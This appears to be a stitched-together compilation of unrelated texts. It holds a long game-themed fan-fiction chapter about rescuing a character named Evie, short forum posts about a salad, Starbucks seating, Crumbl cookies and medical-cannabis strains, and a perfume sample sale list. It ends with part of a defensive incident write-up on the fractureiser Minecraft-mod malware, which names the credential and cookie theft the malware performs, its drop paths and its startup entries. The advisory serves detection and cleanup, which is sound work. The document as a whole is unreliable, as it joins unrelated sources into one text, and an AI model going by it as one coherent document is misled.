"With a trial that Renzo the Destroyer has started, and the Unseen now on high alert, Willow and I must continue our part in helping Thunder rescue Evie and undermining the Unseen's Grand Scheme. This is now venturing into some disturbing levels of dark." The Order of the Vault walks down the Kevolution Materia-infested halls of The Renzone, searching for the next member of the Unseen to beat up and steal a key from. The groaning of Cube Monsters is heard throughout the halls of The Renzone, audibly getting louder as the group nears the source. Once they return to the main party area, the Cube Monsters in the area immediately grow angry at the sight of the Vault Guardians. Ableton shoots a few Fiends with his Shadow Tracker and takes them out, while Thunder mows down loads of them with his Havoc Suppressed Rifle. The room is cleared... for now. Thunder looks around and speaks. "We should find that thieving fox, Stray. I have a suspicion that he's nearby." With everything Thunder said, the Vault Guardians all follow him, as they continue looking through the halls. After what seemed like a while, the group uncovers a room, almost looking like the main hall in Kenjutsu Crossing. Thunder looks around and speaks. "The architecture looks similar to the main palace at Kenjutsu Crossing. The palace the River Guard resides in. Stray has to be nearby." As they wander the room for a bit, Ableton is then surprise attacked. Suddenly a whirlwind appears, bringing a duo of deceiving Unseen members. Who are these two? The Unseen's thieving tricksters, Stray and Highwire. Thunder looks at Stray and responds. "Masaki! I should've known. Your stunt at Steamy Springs could've potentially killed your sister, Mizuki. What dark intentions are you playing at?" Stray looks at Thunder and answers him. "Dark? Dahlia is having me do this for fun. She doesn't want any other syndicate getting in her way of taking over Mega City, and so do I. The Fox Clan was only slowing me down, and now I will help the Unseen rule over Mega City." Thunder pulls out his two knives and yells. "'I'll make you eat those words, you smug punk!" Ableton and Willow run into battle beside Thunder, as the three charge towards Stray. Highwire jumps in front of Stray and pulls out an Enhanced Havoc Shotgun, as she fires a shot into Thunder's chest. Thunder is knocked to the floor, as he looks at the shotgun in Highwire's hands. "That's Evie's Enhanced Havoc Shotgun! Where is Evie, you bunny-eared psycho?" Highwire points the Enhanced Havoc Shotgun at Thunder head and responds. "That's none of your concern. The Unseen should've gotten rid of your Peace Syndicate long ago." From behind, Ableton quickly Crescent Kicks Highwire and knocks her to the floor. Rinzler is then immediately shot by a blast of ice, as Stray channels some Zero Point energy into his Foxfire Edge and concentrates it into some form of an elemental attack. Ableton is frozen into an ice cube, as Willow rushes Stray with her katana, rigorously swinging at her enemy. Stray knocks Willow back, as he swings the Foxfire Edge and unleashes three ricocheting balls of Riftstorm energy. The balls ricochet around the arena, as Willow manages to dodge the attack. Amara runs into battle with Willow, as the two ladies now proceed to take down Stray and Highwire. Highwire pounces onto Amara and attempts to shred her apart with her Plasmacore Claws. Amara retaliates by whacking Highwire in the head with her Goldenbane Mace. Willow clashes with Stray, as he tries to skewer her with his Talisman. "Rip this ghost apart, Saigai Dagger Dance!" Stray summons his Talisman, as Willow evades the converging daggers and knocks Stray back. The battle is nearing its closure, with the Unseen's members on the losing end. Stray pulls out a smoke bomb and faces Willow. "You'll never win, Willow... I still have a trick or two up my sleeve..." Stray then throws the smoke bomb at his feet, as it malfunctions and releases the smoke too early. Stray begins to cough and react to the smoke bomb. "Dammit! That was not supposed to happen!" Amara immediately kicks Stray in the head and knocks him to the floor. A symbol appears above Stray, as the Kevolution Artifact begins to react. Two keys down, another two to go. Thunder faces the group and speaks. "Another key has been found. We must hunt for the others." As the Order of the Vault leaves the room with Thunder, Stray yells out. "You will not succeed! Styx will make sure of it!" Thunder then reenters the room and kicks Stray in the chest, as he then leaves the room again. Ableton looks around and comments. "Whoever Styx is, he appears to possess the next key we need. We need to move quickly. This area has a bad atmosphere." As the group wanders around the halls of The Renzone, they stumble by a room with the lights slightly dimmed. Some voices are heard inside the room. "Triarch Nox expects us to ensure that the Kevolution Artifact is back in our possession, and at full charge." Geometrik's voice is heard, as he responds. "Exactly, Bytes. Nothing that us three can't do." Bytes brushes his hair and speaks. "For we are Team Too Black, Too Strong..." Geometrik speaks after Bytes gets done. "Too black..." Zyg then immediately speaks after Geometrik. "Too strong..." Bytes then speaks after Zyg is done. "Two blacks? Two strongs?" Zyg turns to Bytes and responds. "Nox wants us in the Dark Room. It's a matter most exigent." A corrupted Rift opens in the room, as Bytes, Geometrik, Zyg, and Choppy all exit the room. Outside the room, Ableton turns to Willow and speaks. "Well... That was an interlude. We should find Styx and collect our third key." The group continues wandering the halls, until they begin hearing voices down the hall. "Hello... Is someone there?" Thunder listens out to the voice and responds. "Hold on... Evie?" Thunder slowly walks towards the origin of the voice, as Ableton responds to Thunder. "Thunder... I don't think..." As Thunder rounds a corner, he notices what appears to be Evie enclouded in some smoke. Thunder faces the anomaly and speaks. "Evie! We're here to rescue you!" Willow turns to Thunder and yells. "Thunder! That's not Evie!" The creature slowly loses Evie's shape and begins to unveil its true form, revealing it to be a Cube Monster. Splode shoves a grenade into the creature's mouth and blows it up. Thunder looks at the creature and comments. "A Mimic... Styx must be close..." The group searches the area, looking for Styx. This mysterious Unseen member must be hiding somewhere. Styx then fires a shot at Ableton and misses. Styx walks out and reveals himself to the group. He then speaks, as he lets out an unnerving grin. "Looking for Evie, Thunder? Dahlia wanted to make sure Evie is getting the dark treatment from the Unseen. You should've left our client alone." Ableton faces Styx and responds. "We're not here for your demented game, Styx. Give Evie back to us and we'll promise not to severely beat you to a pulp." Styx stares at the group and responds. "Over me and Dahlia's bodies will we even consider giving Evie to you. You Peace Syndicate scumbags always think there should be peace in Mega City. Always enforcing peace as if you call the shots around here. Let our chaos do its thing and fill Mega City with darkness." Some doors open beside Styx, as a few Cube Monsters flood into the hallway. The next battle begins. Thunder charges for Styx and attempts to tackle him, while Ableton and Willow assist in clearing out the Cube Monsters. Styx pulls out his Combat Shotgun and begins firing shots at Thunder, as he skillfully avoids the shotgun blasts. Thunder then kicks the Combat Shotgun out of Styx's hands and picks it up. Thunder fires a shot into Styx's chest and knocks him to the floor, alongside blasting his chest open. Inside Styx's chest is an orb of condensed Kevolution Materia. Ableton looks at Styx's blasted open chest and comments. "Yikes! That's some serious indigestion!" Styx gets off the ground and speaks. "Yehehehehes! Let's gohohoho!" The Kevolution Materia orb inside of Styx's chest begins to react, as he appears to be making the Cube Fiends near him stronger, turning them into Elite Cube Fiends. Thunder observes the chaos and responds. "Look out! Styx appears to be making those Cube Monsters stronger. We need to take him out before he makes those Cube Monsters too strong." With no time to waste, the Order of the Vault helps Thunder with taking down Styx. Ableton and Willow rush for Styx, as he knocks them both away with some quick shoves. Amara headshots an Elite Cube Fiend with The Dub, while CRZ-8 slices some Cube Fiends apart with his Lucky 8's. A Cubed Blightfather crawls out of the stomach of a Cube Fiend, as Styx uses the Kevolution Materia in his chest orb to turn it into an Elite Cubed Blightfather. Ableton groans in exhaustion at the sight of the Elite Cubed Blightfather. "Oh... You got to be kidding me..." Willow reacts alongside Rinzler. "Nice! Styx managed to amp up something that was already tough to kill." The Vault Guardians now have to focus on killing the Elite Cubed Blightfather before taking on Styx. Splode sticks a Clinger onto the Elite Cubed Blightfather's face, as he yells out. "Chew on that, ugly face! Yeah!" The Clinger explodes, dealing heavy damage to the Elite Cubed Blightfather and staggering it a bit. Willow then executes a quick slash of her katana at the Elite Cubed Blightfather's head, killing the bipedal terror. Thunder walls over to Styx and kicks him in the groin, knocking him to the floor. A symbol appears above Styx, as the Kevolution Artifact begins to react. One key remains, and the Order of the Vault can advance to the trials next puzzle. As the Kevolution Artifact absorbs the symbol, Styx gets up and screams, aggroing loads of Cube Monsters throughout The Renzone. A large horde of Cube Monsters run down the hall, ready to feast on the Vault Guardians and Thunder. Everyone makes a run for it, hoping to find safety from the horde. Within the horde, Stray, Highwire, and Renzo the Destroyer all chase down the Vault Guardians, alongside several Renzo units. Once they head out towards the elevator that leads into the Dark Room, Dahlia stands in front of the group and knocks everyone back with her Code Carver. The Order of the Vault are surrounded by Cube Monsters, Renzo units, and various Unseen members Ableton and Willow defeated earlier. Dahlia looks at Thunder and speaks. "Looking for Evie, Thunder? I've handed her over to a special ally of mine. He won't like it if the trial is finished before he can set anything up." Everyone is now at a standoff, as Thunder faces Dahlia. "If the Unseen chooses to be enemies to Mega City, then the Peace Syndicate will fight like we always have." Thunder pulls out his Kaiju Cutter and begins wildly attacking Dahlia. Dahlia pulls out her Lock-On Pistol and unloads half its mag into Thunder, only to miss. Thunder then roundhouse kicks Dahlia away from him, causing her to bump into Renzo. Dahlia yells out to the Cube Monsters in rage. "Don't just stand there! Kill that Peace Syndicate scum!" After Dahlia gets done yelling, Styx lets out a loud scream, as the Cube Monsters immediately run full sprint towards Thunder. Thunder pulls out his Havoc Suppressed Rifle and mows down the horde charging at him. As Thunder manages to kill the last Cube Fiend in the horde, Dahlia rushes him with her Code Cleaver, causing Thunder to retaliate with a swift kick to her face. Dahlia is knocked to the floor, as a symbol appears above her. The Kevolution Artifact reacts heavily to this, as the wall of Kevolution Materia blocking the elevator door dissipates. Thunder faces the Vault Guardians, as they all quickly get inside the elevator. Dahlia screams to the other Unseen members in anger as she watches the group enter the elevator. "Quick! Shoot them!" Stray, Highwire, Styx, Renzo the Destroyer, and the other Renzos all begin firing their guns into the elevator. Willow quickly tries to close the elevator door, as more gunfire riddles the interior. After a few more seconds of shooting, the elevator immediately breaks, causing the whole thing to begin falling at rapid speeds. Ableton looks at Thunder and yells. "Not good! The elevator took some extreme damage from that gun show!" Thunder faces Splode and screams. "Whitty! Activate the elevator's emergency brakes." Splode runs over to the buttons and begins mashing the emergency brakes button. This attempt works, as Splode successfully activates the emergency brakes and slows the elevator to its normal speed. After a few minutes, the elevator arrives at its stop. Everyone walks out of the elevator, as Ableton looks around. "Alright. I see a large tunnel with cave-live features... but where is this Dark Room?" The Kevolution Artifact reacts, as Ableton begins hearing more voices. Ableton speaks out, as the Kevolution Artifact provides the next step of the trial. "Light the Beacons..." Willow looks around after hearing what Rinzler said and comments. "Hmm... Nothing in here looks... beacon-ish, and I suspect that we fell into something worse." Everyone looks around the area, looking for anything that could help in understanding the current step in the trial. Splode uncovers a generator near some wood pallets and turns it on. Some lights on the ceiling turn on, brightening up the area a bit. Splode faces Rinzler and speaks. "I think these generators might be key to this step. We should probably find more of them and turn them on." Everyone continues walking down the tunnel, looking for more generators that Splode mentioned. Amara uncovers another generator near some large CUBE chunks, with Thunder finding another towards a pile of broken debris. More lights turn on in the area. As they near the end of the tunnel, Ableton turns the last generator on, as all the lights turn on, revealing a large steel door blocking the path. The Kevolution Artifact begins to react heavily, as the steel door opens. Once the door fully opens, the Vault Guardians enter inside. At the center of the room, there is a small, shallow body of... water? Splode walks towards the liquid and steps into it. "You know? This stuff seems pretty viscous for water, I'll tell y'all that." Willow turns to Splode and responds. "Whitty... That's not water. That's... blood..." As soon as Splode heard what Willow said, he looks below him and notices the slight redness the liquid has. Splode screams out in disgust and steps out of the liquid. Ableton looks around the area, until he hears Evie's voice yelling from above. "Guys! I'm up here!" Thunder looks up, and notices that Evie is strapped to a large machine, pumping Kevolution Materia throughout the Dark Room. Thunder yells out to Evie in response. "We're here, Evie! We're coming to get you!" Triarch Nox's voice is heard, yelling at Thunder in rage. "No, you're not!" One of Bytes' Chromatic tendrils grabs the Kevolution Artifact out of Rinzler's hands, as Bytes hands the Artifact over to Nox. Nox looks at the group and speaks. "No! Somehow those insects have passed my trial! No matter... The Kevolution Artifact has sufficient charge for what it needs to do." Triarch Nox walks up some stairs around the walls of the Dark Room, as he places the Kevolution Artifact into the device. Triarch Nox looks at the group below him and yells. "Awaken my soldiers! Slay these pawns of the Peace Syndicate!" Zyg jumps towards the blood pool at the center, as the liquid begins to transmogrify, projecting what appears to be the Mothership's interior within the liquid. Evie yells out with worry. "Watch out! It appears this Triarch Nox guy is intent on defending the device while it charges up. Don't get killed out there!" Zyg pulls out his Ray Gun and fires at the group, making sure to defend Nox's device. Ableton tries to Mantis Leap around the area to pick off Zyg, until Choppy throws down an Alien Nanite and stops Rinzler in his tracks. Thunder begins firing his Havoc Suppressed Rifle at Zyg, as he takes slight damage from Thunder's attack. Zyg then fires a laser from his eye and sweeps the floor with it, causing Thunder to jump and avoid the attack. Amara rushes into Zyg and blasts him with The Dub, launching Zyg and Choppy into the walls of the Dark Room. Zyg jumps up and out of the group's reach, as Bytes drops down. The liquid in the center transmogrifies again, as the liquid now turns Chrome. Bytes conjures the Nothing's Gift in its Siren's Spear form and begins to attack Ableton with it. Rinzler quickly dodges the attack and counterattacks by pistol-whipping Bytes in the face with his Shadow Tracker. Bytes then summons some Chromatic tendrils to attack the Vault Guardians, making sure to keep them away from him. CRZ-8 pulls out his Lucky 8 Blades and slices through the tendrils to attack Bytes. "Epicness approaches!" CRZ-8 kicks Bytes in the groin and uppercuts him onto the upper catwalk above the arena. Triarch Nox yells, as Geometrik drops down into the arena. "Intruders! Tell the Peace Syndicate I will not be stopped!" Once Geometrik drops into the arena, the liquid in the center transmogrifies again, as it begins to project the Sideways from within. Geometrik wildly swings his Sideways Scythe around, attempting to slice everyone apart. Willow grabs ahold of the Sideways Scythe and tries to wrestle it out of Geometrik's grasp. Willow succeeds, as she throws the Sideways Scythe away from Geometrik. After losing his weapon, the CUBE fragments around Geometrik begin to glow golden. Splode walks towards Geometrik with his Shrapnel Axe equipped. "This fight's in the bag. Time to beat him up and shut down the machine." Before Splode could land a hit, Geometrik fires a large laser out of his golden CUBE head and almost hits Splode. Splode immediately reacts to the attack. "What the hell? You have a new attack?!" Amara charges an attack with the Goldenbane Mace, as Serpicus the Goldenbane begins glowing on Amara's back. Geometrik charges for Amara, as she winds up with her Goldenbane Mace and whacks Geometrik in the face. The impact of the Goldenbane Mace was enough to send Geometrik crashing into the wall and losing the fight. Triarch Nox looks at the Vault Guardians and yells. "You will not deny Darkeon his return!" Triarch Nox jumps down to the arena, as Cube Monsters begin to manifest around the blood pool. Triarch Nox yells, as the Cube Monsters all turn to face the Order of the Vault. "Rise, warriors! Slay the unworthy!" The Cube Monsters charge for the Vault Guardians, as Rinzler shoots down some Cube Fiends within the horde. Willow teams up with Amara Luxe and Splode to take down a Cubed Blightfather, while Thunder slices a Corpse Eater apart with his knives. Once the Vault Guardians clear out the horde, Triarch Nox begins yelling. "No one will save you from Darkeon's wrath! I will not fail my plans!" As Nox gets done yelling, someone begins speaking from within the blood pool. "No, Nox. You did everything according to MY plan. You brought me back. And once your construct repairs my fractured body I shall thank you, by wiping this island from existence." It appears time has run out, and Darkeon has partially returned, in a slightly messed-up form. Both Stray and Highwire break into the Dark Room, as they confront the Vault Guardians. "Now you did it! You will not escape the Dark Room alive!" Darkeon sets his sights on Stray, as several clouds of Kevolution Materia fly out of the blood pool and into Stray. Stray succumbs to the Kevolution Materia, as his white coat turns black with CUBE runes all over, and his eyes start glowing purple. Darkeon begins speaking from Stray, as he yells. "Rest assured... I will destroy this world just as soon as I kill you here!" Dark Stray summons Saigai Dagger Dance, as he attempts to attack everyone with the converging daggers. Highwire runs towards the Vault Guardians in fear and speaks. "That weird... CUBE thing just took control of Stray! We gotta get him out of Stray!" Thunder faces Highwire and responds. "If we save Masaki for you, you better help us contain that Darkeon freak." Highwire nods, as the Vault Guardians get to work. Dark Stray pulls out his Kinetic Blade and dashes towards Ableton, leaving behind a burning trail of Kevolution Materia. Willow distracts Dark Stray with some yelling, causing Dark Stray to throw a plasma grenade at Willow. Willow gets away from the grenade, as the explosion leaves behind a small area of molten plasma. Dark Stray then swings his Foxfire Edge at Highwire, launching three orbs of Kevolution Materia towards her. Highwire dodges the attack and scratches Dark Stray in the chest with her Plasmacore Claws. Dark Stray kicks Highwire away, as he screams loudly. "The insanity of Darkeon is upon you!" Splode slaps Dark Stray in the face, planting a Remote Explosive beside his head. CRZ-8 throws his Billiard Grenade at Dark Stray, as the grenade splits into three explosive billiard balls. The explosion knocks Dark Stray into the air, as Splode presses the button on the Remote Explosive's detonator, blowing up the explosive on Dark Stray's face. Dark Stray is knocked out, as Darkeon seeps out of Stray and back into the blood pool. The blood pool begins to transmogrify again, as the liquid is now contaminated with Kevolution Materia. Two large arms rise out of the liquid, followed by a torso. A cracked CUBE manifests on the body, forming Darkeon's head. The entire area begins rumbling, as roots begin tearing through the walls of the Dark Room. Ableton looks around in fear and yells. "What's happening?!" Highwire faces Rinzler and responds. "He's drawing power from the Herald Tree! Nox mentioned the tree as being part of the plan, but not like this!" Loads of Cube Fiends begin manifesting around Darkeon. Amidst the rumbling, the ceiling begins to tremble. An IO Drill drops down from the ceiling and lands near the Vault Guardians. The top hatch of the IO Drill opens up, as Huntmaster Saber begins shooting at some Fiends with his Thermal Scoped Rifle. Amara faces Saber and reacts. "Saber?! How did you find us?" Saber faces Amara and responds. "No time to explain, Luxe!" Saber gets out and continues shooting the Cube Fiends around Darkeon, as Drift, Mizuki, Mystica, and Doctor Jekyll exit the Drill and help out in the fight. Darkeon begins yelling, as Mizuki begins slicing him with her Kinetic Blade. "You test my patience! I will take all your lives!" Drift then slices one of Darkeon's arms off with his Rift Edge, slowly breaking his body apart. Splode looks at the reinforcements and yells. "Hell yeah, folks! Show Darkeon how we fight!" Ableton faces Splode and reacts. "Wait... Did you call them all here, Whitty?" As Mystica attacks Darkeon with her Ashglow Blade, Splode responds. "Yes I did, Able!" Huntmaster Saber drops down to the group with Evie in his hands, after having freed her from the machine she was strapped to. Thunder faces Ableton, Willow, and Splode and speaks. "All the beacons have been lit. You've done the impossible. You've united this city. And reminded us that we need each other." Evie turns to Thunder and responds. "So, how do we feel about making Splode's friends here honorary members of the Peace Syndicate?" Thunder faces Evie and answers her. "Of course. And you're getting your own signature menu item at the Thunder Roll." The entire Dark Room begins to fall apart, as Jekyll yells. "The area is collapsing! Everyone to the Drill!" Everyone immediately piles into the IO Drill, as Highwire quickly grabs Stray's unconscious body and gets in. Triarch Nox tries to get into the IO Drill, as Jekyll reacts to him. "Stay here and die, you bracket-faced trickster!" Jekyll kicks Nox away and shuts the hatch, as Saber maneuvers the IO Drill into the wall and begins drilling everyone's way out. Darkeon's body begins to crumble, as the Dark Room collapses due to all the roots overgrowing in the area. Inside the IO Drill, Evie responds to Thunder's earlier answer to her. "How about the City Saver Supreme? You could make that roll a lunch special! Ooh! How about Hero Meat? Just a big piece of meat with the word 'HERO' cooked into it." Thunder turns to Evie and responds to her. "Hey, who's chef around here? You stick to playing with knives." Evie reacts to what Thunder has said. "Haha, deal! Don't need to tell me twice." Evie turns to Ableton, Willow, and Splode and speaks to them. "If you ever need any backup... We owe you one. Call us, and we'll be there!" Evie then throws up a peace sign at the Vault Guardians. "Keep the peace, heroes." Willow tightly hugs Rinzler, as they enjoy their ride within the IO Drill. Above ground, near the fault line adjacent to a gas station, Xander Necalli, Marigold, Grimey, and Gnash all observe the roots sprouting around the fault line. Xander faces Marigold and comments. "Ooh... These mysterious roots. Something is happening to Asteria, and I'm not sure what." Marigold turns to Xander and responds. "I'm not sure either. Grimey noticed these earlier, and had me come over to check." Gnash looks around and comments. "Well... This has been an eventful evening, Necalli. Can we go now? This place just doesn't feel right." As Xander and his mercenaries prepare to leave, Xander faces the roots and whispers. "Will you take me closer to el Punto Cero?" Evie has been rescued, the Unseen has been trampled, and Nox's plans on bringing back Darkeon have been foiled. This turned into quite a spectacular display of teamwork and mayhem for me and Willow. Although... This does leave a major question for us to figure out... What exactly did Darkeon do with those roots? Whatever he did, it will prove to be something... Wild... for me and Willow.

This is the what the menu described the salad as, it was definitely voluminous contrary to the photo!
This is what was written on the menu: MIXED GREENS, SOUS VIDE CHICKEN, BACON, TOMATO, ASIAGO AND BLUE CHEESE CRUMBLES, CROUTONS AND AVOCADO WITH CREAMY LIME DRESSING.

Let's be clear, I love Starbucks! There is nothing like Mocha Cookie Crumble to get me excited to leave the house. However 5-6 years ago I loved studying in Starbucks, they have comfy chairs and great atmosphere, music was occasionally too loud for my sensitive ears but MEH I'd put up with it for Java Chocolate Chip Frappe. Now, I need a place to study again because I can't seem to focus at home, so I say let's go to Starbucks thinking oh this will be great! Comfy chairs and yummy drinks to make a study session worth while. I've been noticing a lot of the chairs being switched out for these really hard and uncomfortable chairs, I have problems with my spine so comfy chairs are a must! Especially when I'm studying. We go in though and the bench that's there was completely removed, literally the most comfortable place to sit in the café.
All of my favorite Starbucks spots with my favorite baristas are changing from comfy places to go to, to places where you sit and wait for your drink and you promptly leave because sitting there is highly uncomfortable.
So my question is: why has Starbucks decided to turn there once study friendly café into a get your drink and get the fuck out spot?
If your loosing money everytime some sits there 3 hours, make it so you have to buy a drink every hour you're there. There are lots of mom and pop cafe's that do that. Or require a receipt number for the Wi-Fi, which will give you an hour and ten minutes to buy another drink and renew your time.
I would have a hard time believing that any of this has to do with COVID because this started a while ago and has only gotten progressively worse.
Bring back comfortable seating for people who enjoy studying in cafe's!

sometimes a girl at chili's gives me fries lol but the crumbl in my town is the best, super fast and friendly and they almost always hook me up with a cookie 🍪 anyone else get free treats?

I used to go to Crumbl regularly, usually weekly. I've had so many flavors, but my absolute favorite is the Mint Brownie. Last time they had it in March, I placed a catering order for 60 minis. I cut them in half and froze them. I treat myself to 1/2 a cookie a day and it fills my needs. I haven't been back since and just got the email that they miss me.
No discount, but good to know that they miss my $$$.

i don’t start till the 24th, but i’m kinda nervous bc i don’t really have any professional baking experience. i know all you have to do is follow recipient and everything but i’m worried i’ll mess it up somehow :/ idk but i’ll probably get used to it.

I'm looking at the menu now and researching MI cultivators. Not a lot of options here. First question is, is there a clear favorite out of Cookies and Peninsula Gardens?
Flower of Life is what's on sale this week. Any good or pass?
For anyone in the area, are their any sleepers I'm missing? I tried to do the research myself, but there's no reviews on a lot of their products.

I've been in a flare for almost 2 weeks now and i'm pretty miserable. I'm running low on my old reliables. Currently been using King's stash budder, black afghan flower, GG4S1 crumble, skid row #4 flower, topicals and garlic cookies rso.
I have nerve and muscle pain along with anxiety and stomach issues. I typically look for strains high in caryo, myrcene and linalool, along with high cbg. My anxiety has been high with this flare which sucks for treating pain.
So pain patients, what have you been using recently? what has been working for you? hoping to find some strains that were released this month and not impossible to find this time of year. any suggestions? I'm looking for heavy body high so as to not set my anxiety off. on the western side of the state. Thanks, stay lifted.
​
ETA would prefer flower or concentrates, vapes are okay if it works really well.

No minimum purchase amount! Spreadsheet, which includes scent descriptions and details about fill levels, HERE.
Shipping:

• Starts at $5 for oils, $7 for EdTs/EdPs - may increase based on package weight, a more accurate shipping estimate can be provided with your zip code.
• Within 3 business days, usually next day!

HOUSE BUNDLE DEALS: Take all 10 Haus of Gloi samples for $16, all 10 Nocturne Alchemy samples for $40, all 15 Nui Cobalt samples for $22, and/or both Chronotope EdP samples for $8!
GOURMANDS BUNDLE DEAL: I have many, many gourmand samples, enough to make a nice bundle or 2, depending on the size! So if anyone is interested, I can do 2 bundles of 10 samples for $17 each, or 1 bundle of 15 for $30. (Shipping will still need to be added.) You can choose these or I can choose them for you/at random, whichever you prefer!
SPREADSHEET HERE AGAIN.
FULL SIZES:

• Arcana Craves - Blueberries Crave Home ($19), Lemon Shortbread Layering Note ($19), Moss Layering Note ($19), PB&J Layering Note ($19), Strawberries Crave Botanicus ($19)
• Astrid - Bunny ($25)
• BPAL - Its Own Sweet Will is Heaven’s Will ($25)
• Fyrinnae - Convective Energy ($16), No Conformista ($16)
• Haus of Gloi - Macaron Tower (BNNU) ($15)
• Nocturne Alchemy - Buttercream Honey Bee ($25), Butterfly Green ($22)

SAMPLES ($2 each unless otherwise marked):

• Andromeda’s Curse - Dead Leaves and the Dirty Ground, The Hunter’s Kiss, Liebchen
• Arcana Craves - Chocolate Cake Layering Note
• Area of Effect - Kokiri’s Emerald ($8), Nuka World ($8), Stardew ($8)
• Astrid - Hobgoblin
• Black Hearted Tart - Southern Belles in London Sing
• Cherry-Ka’s Trunk - Silvery Springs
• Chronotope (Take both for $8!) - Buen Camino (EdP) ($5), Spite (EdP) ($5)
• Colornoise - Rose Gold
• Death & Floral - Art School Drop Out, Astronaut Makes a PB&J, Mall Soft Pretzel Single Note
• Deconstructing Eden - Cupid’s Bow (EdT) ($3), Masquerade (EdT) ($5)
• Fyrinnae - Barmbrack ($3), Cheeky Chipmunk ($3)
• Haus of Gloi (Take all for $16!) - Asperitas, Beguiled, Insalata Nocturna, Macaron Tower, Olde Cider Haus, Pink Marshmallow Milk, Samhain II, Satyr, Sparrow, White Tea & Honey
• Hexennacht - Hygge
• Lala Land - Gone Camping
• Morari - Coquettish Glances, Strawberry Rhubarb Crumble
• Nocturne Alchemy (Take all for $40!) - Apricot Muhallebi ($5), Bastet’s Amber Vanilla Kulfi ($4), Blackberry Creme Honey Musk Bee ($4), Cherry Santalum (Bastet’s Garden) ($8), The Mummy ($4), Neon Bat ($4), Pyramid Spice Cake ($4), Saltarello ($4), Sky Amber ($8), Summer Musk ‘22 ($3)
• Nui Cobalt (Take all for $25!) - Bee In Your Bonnet ($1.50), Blues Buster, Busy Bee ($1.50), Cait Sidhe, Crone’s Cottage, Equinophilia ($1.50), Exhumed, Indie Mood: Giulia, Liquid Luck ($1.50), Melophilia, Queen Bee ($1.50), Rascal: Apricot Thumbprint Cookie, Secret Superpower, Stay Afraid Do It Anyway, Tell the Bees
• Possets - Shah Jahan & Mumtaz Mahal, Venus Black

SPREADSHEET HERE ONE LAST TIME.

Current status

We have a good idea how fractureiser works, from stages 0 to 3. There are certain unknowns, but stage 0 bootstrapping was quickly nipped and tomorrow we’ll be moving our focus to mitigation. As a plan, we’ve contacted Mojang and will likely be working with teams to get detection software distributed and integrated into CurseForge and Modrinth, as well as considering integration in launchers like Prism, and mod loaders like Fabric and Forge. It is also worthwhile to run this detection software on mod distribution mavens, as it’s possible some have become infected.
Most of the current team responsible for updating this doc is tired and going to bed (as of 02:46a Pacific time). Others are continuing to reverse engineer stage 3.
Work has begun on a detector for infected stage0 mods: https://github.com/MCRcortex/nekodetector
If you have files relevant to this malware, please upload them to https://wormhole.app and email the URL to [[email protected]](mailto:[email protected]) — this inbox is controlled by xylemlandmark, and anything sent to it will be shared with the rest of the team. Please also let us know if you have the ability to download files from VirusTotal, as that would let us get ahold of many of the files we’re missing. We are looking especially for one lib.dll .
If you need to get in touch more generally, please send mail to [[email protected]](mailto:[email protected]).
If you copy portions of this document elsewhere, please put a prominent link back to this HackMD page (https://hackmd.io/@jaskarth4/B1gaTOaU2) somewhere near the top so that people can read the latest updates and get in contact.
​

Non-technical overview [READ ME!]

A number of Curseforge and dev.bukkit.org (not the Bukkit software itself) accounts were compromised, and malicious software was injected into copies of many popular plugins and mods. Some of these malicious copies have been injected into popular modpacks including Better Minecraft. There are reports of malicious plugin/mod JARs as early as mid-April.
This malware is composed of multiple “stages”, each stage is responsible for downloading and running the next one. In total, there are three known stages (Stages 1, 2, and 3), with infected mod files serving as a “Stage 0” to kick the whole process off.
Stage 3 is the “mastermind” of the malware, and we have evidence that it attempts to do all of the following:

• Propagate itself to all jar files on the filesystem, possibly infecting mods that were not downloaded from CurseForge or BukkitDev
• Steal cookies and login information for many web browsers
• Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
• Steal Discord credentials
• Steal Microsoft and Minecraft credentials

(See technical details for more info)
Because of its behavior, we are very confident this is a targeted attack against the modded Minecraft ecosystem. It’s quite bad.
Until further notice, exercise extreme caution with Minecraft mod downloads, regardless of origin. While the control server for this malware is currently offline, any download from Curseforge or the Bukkit plugin repository in the last 2-3 weeks should be treated as potentially malicious. This malware is unlikely to be detected by Windows Defender or similar antimalware products.
If you have downloaded any mods from Curseforge, or plugins from Bukkit, even through clients such as Prism Launcher or the official Curseforge launcher, it is recommended that you follow the “Am I infected?” guide below.
The affected accounts had two-factor authentication enabled. This is not a simple password compromise situation. Multiple accounts are affected.
Currently, we do not suspect other platforms such as Modrinth to be affected. At this point we cannot be confident claiming any hosting service is unaffected. Please exercise caution regardless of what site you use. Even Maven repositories may be infected, and this malware goes back months.
Right now, the malware is dormant due to the loss of its C&C server and the Stage0 (what was distributed via mods and modpacks) not having a way to get a new server. If you were infected with Stage2 (the file described below, dropped by Stage1 when C&C was up), then the malware is still active.

Am I infected?

You can check whether the malware ever ran on your computer, since Stage1 attempts to save Stage 2 at several unusual paths:

• Linux: ~/.config/.data/lib.jar
• Windows: %LOCALAPPDATA%\Microsoft Edge\libWebGL64.jar (or ~\AppData\Local\Microsoft Edge\libWebGL64.jar )
  • Make sure to show hidden files when checking
  • Yes, “Microsoft Edge” with a space. MicrosoftEdge is the legitimate directory used by actual Edge.
  • Also check the registry for an entry at HKEY_CURRENT_USER:\Software\Microsoft\Windows\CurrentVersion\Run
  • Or a shortcut in %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
• All other OSes: Unaffected. The malware is hardcoded for Windows and Linux only. It is possible it will receive an update adding payloads for other OSes in the future.

There are scripts available here which will help you check whether these files exist.
Before downloading, the malware will create the enclosing directory if it does not exist. Windows/MS Edge does not use the “Microsoft Edge”-with-a-space directory, and Linux software does not use ~/.config/.data , so these folders existing is a likely sign that Stage1 has executed on a victim computer.
If you find these files, you should delete them immediately, but consider all JAR files on your system compromised, and potentially all logins on your web browser as well. Passwords should be changed.

Given a jar file, how do I know if it’s safe?

There are various heuristics you can use to determine whether a jar is infected with Stage 0.
Emi’s shell script here simply checks for all usages of ClassLoader , which is uncommon in mod code. This can lead to false positives and negatives. For example, it falsely flags the latest Quark 1.19 file as infected when it is not.
Sylv’s shell script here does a bit more fingerprint matching for the malware, and should be more precise.
As a non-technical user, your best course of action is to check if your system was affected using the above steps, remediating if necessary, and refraining from downloading anything from CurseForge or dev.bukkit.org until further notice.

Technical info

Distribution

Some modpacks have had updates published for them without the knowledge of the authors, adding a dependency on malicious mods. These modpack updates were archived immediately after uploading, meaning they do not show on the web UI, only via the API.
The malicious mods have upload dates multiple weeks in the past. Most of them were uploaded by single-use accounts with clearly autogenerated names, and were likely the seed of the infection. Luna Pixel Studios was compromised due to a dev testing one of these mods, as it was an interesting new upload. The fact Curse let these mods uploaded by a new account through is pretty bad and speaks to their now-nonexistent content moderation.

